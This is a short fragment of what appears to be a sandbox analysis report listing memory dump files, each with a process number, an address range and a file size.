memory/1888-103-0x00000000023F4000-0x00000000023F7000-memory.dmpFilesize
12KB
-
memory/1892-126-0x0000000140001938-mapping.dmp
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memory/1936-147-0x0000000000000000-mapping.dmp
-
memory/1940-173-0x0000000000000000-mapping.dmp
-
memory/1944-156-0x0000000000994000-0x0000000000997000-memory.dmpFilesize
12KB
-
memory/1944-158-0x000000000099B000-0x00000000009BA000-memory.dmpFilesize
124KB
-
memory/1944-157-0x0000000000994000-0x0000000000997000-memory.dmpFilesize
12KB
-
memory/1944-154-0x000007FEF3250000-0x000007FEF3C73000-memory.dmpFilesize
10.1MB
-
memory/1944-155-0x000007FEF26F0000-0x000007FEF324D000-memory.dmpFilesize
11.4MB
-
memory/1952-180-0x0000000000000000-mapping.dmp
-
memory/2024-117-0x0000000000000000-mapping.dmp
-
memory/2028-79-0x0000000000000000-mapping.dmp
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memory/2036-168-0x0000000000000000-mapping.dmp